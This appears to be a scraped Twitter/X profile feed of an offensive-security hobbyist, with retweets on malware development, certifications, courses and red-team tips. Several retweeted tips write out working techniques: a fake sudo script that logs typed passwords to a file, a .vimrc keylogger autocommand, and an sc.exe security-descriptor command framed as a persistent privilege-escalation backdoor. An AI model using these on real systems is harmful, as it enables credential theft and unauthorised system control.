Bnb @HulkOperator

Joined March 2022

Tweets

74
Followers

129
Following

266
Likes

102

Bnb @HulkOperator

10 months ago

Recently, I’ve been experimenting with Return Address Spoofing and developed a tool to call any WinAPI and spoof the return address. For a deeper dive, check out my blog post:hulkops.gitbook.io/blog/red-team/… #maldev #RedTeam #OffensiveSecurity #malware

0 35 86 3K 43

Bnb @HulkOperator

10 months ago

I just pwned OpSalwarKameez24-1: Super-Star in Hack The Box! @hackthebox_eu labs.hackthebox.com/achievement/sh… #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting

0 0 2 238 0

Bnb @HulkOperator

11 months ago

I'm thrilled to share my latest project: AuthStager. This is a proof-of-concept tool that generates a shellcode stager with authentication. github.com/HulkOperator/A… Shout out to @MalDevAcademy, which is hands down the best resource to learn maldev.

1 15 84 7K 56

Download Video

Jonathan @jon__reiter

2 years ago

After a little break, it’s time to get back to the @SANSOffensive Intro to C workshops! 😁 Always free. Always recorded. Register online when you have a chance.

2 13 62 5K 13

Download Image

Antonio Cocomazzi @splinter_code

2 years ago

Excited to share my hardest research about UAC 🤯 "Bypassing UAC with SSPI Datagram Contexts" 🔥 Enjoy the read! 👇 splintercod3.blogspot.com/p/bypassing-ua…

12 245 591 62K 200

Devansh (⚡, 🥷) @0xAsm0d3us

2 years ago

Free Malware Analysis Course, covers malware concepts, malware analysis, and black-box reverse engineering techniques class.malware.re #cybersecurity #malware

9 302 934 104K 757

Download Image

Gar-re @gar_reversing

2 years ago

😱 Passed the #OSEE certification! Can't believe I did it! Thanks again @Blomster81 , @_sickn3ss_ and @xct_de from @offsectraining for this journey to remember. Read about my endeavors and tips for researchers that contemplate starting this as well. gerr.re/posts/osee-rev… #BHUSA

19 16 181 26K 26

Bnb @HulkOperator

2 years ago

I'm super thrilled to share that I passed the OSCP last month. Thank you, @offsectraining, really loved the updated material. Here's my blog sharing my experiences and advice to prepare for this journey: thehulksec.com/index.php/2023… #oscp #TryHarder

0 0 1 205 1

Chetan Nayak (Brute Ratel C4 Author) @NinjaParanoid

2 years ago

If you are threat hunting, the easiest way to hunt for DLL sideloads is to check the path of the process. Most red teams will run their payloads from C:\programdata, Temp, Public, Appdata or from desktop. Most windows applications don't run from these locations unless until they…

5 64 305 42K 127

HackGit @hack_git

2 years ago

PowerShell Obfuscation Bible A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion. github.com/t3l3machus/Pow… #infosec #pentesting #redteam t.me/hackgit/8331

1 111 306 27K 88

Download Image

Alh4zr3d @Alh4zr3d

2 years ago

Red Teamers: this one solved a @RealTryHackMe challenge on stream last night! Have account with sudo perms but don't have password? Write a fake sudo and redirect PATH in .bashrc: #!/bin/bash echo -n "Password: "; read -s password; echo $password >> /tmp/kekw; echo #redteam

8 64 294 36K 114

Hacking Articles @hackinarticles

2 years ago

Google Search Operators Cheat Sheet 👉🏿Full HD Image: github.com/Ignitetechnolo… #infosec #CyberSecurity #CyberSecuritytips #pentesting #redteam #informationsecurity #CyberSec #networking #networksecurity #infosecurity #cyberattacks #CyberSecurityawareness #bugbounty #bugbountytips

3 103 247 26K 119

Download Image

LetsDefend @LetsDefendIO

3 years ago

Linux Folder Structure

22 560 3K 147K 626

Download Image

OffSec @offsectraining

3 years ago

Our very own Senior Technical Recruiter Amy Krutz shared valuable advice on how to write an effective cybersecurity resume: youtube.com/watch?v=zZSiml… Some tips 👇🧵

2 20 72 17K 27

OffSec @offsectraining

3 years ago

⬇️ Resources for a Successful #Cybersecurity Job Hunt ⬇️ 🔴Build a Strong Resume ➡Resume Now: resume-now.com/build-resume ➡Novoresume: novoresume.com ➡Information Technology resume examples: jobhero.com/resume/example…

4 17 58 17K 42

Alh4zr3d @Alh4zr3d

3 years ago

Red Teamers: Vim is practically ubiquitous across Linux hosts, and you can use it as a keylogger. On a dev box and want to see what passwords are written into config files? Slap this into .vimrc or ~/.vim/plugins: :autocmd BufWritePost * :silent :w! >> /tmp/keylog.txt #redteam

34 216 794 79K 313

Download Image

Alexandre Borges @ale_sp_brazil

3 years ago

Malware Analysis Series has exactly 450 pages so far: MAS_1: exploitreversing.com/2021/12/03/mal… MAS_2: exploitreversing.com/2022/02/03/mal… MAS_3: exploitreversing.com/2022/05/05/mal… MAS_4: exploitreversing.com/2022/05/12/mal… MAS_5: exploitreversing.com/2022/09/14/mal… MAS_6: exploitreversing.com/2022/11/24/mal… MAS_7: exploitreversing.com/2023/01/05/mal…

35 529 1K 96K 656

Alh4zr3d @Alh4zr3d

3 years ago

Red Teamers: here's a sneaky one - a file-less, persistent, local privilege escalation backdoor! sc.exe sdset scmanager D:(A;;KA;;;WD) Setting the security descriptor on the service manager to allow anyone to start SYSTEM services! Will Blue notice this?? ;) #redteam

11 116 535 52K 219

Ali Abdaal @AliAbdaal

3 years ago

I’ve spent the last 8 weeks looking for the best AI tools on the internet. Here are some of the best ones 👇 🧵

189 1K 4K 848K 6K

Grzegorz Tworek @0gtweet

3 years ago

Need an almost invisible, post-exploitation, persistent, fileless, LPE backdoor? There are many, but this one looks really beautiful for me: type "sc.exe sdset scmanager D:(A;;KA;;;WD)" from an elevated command prompt.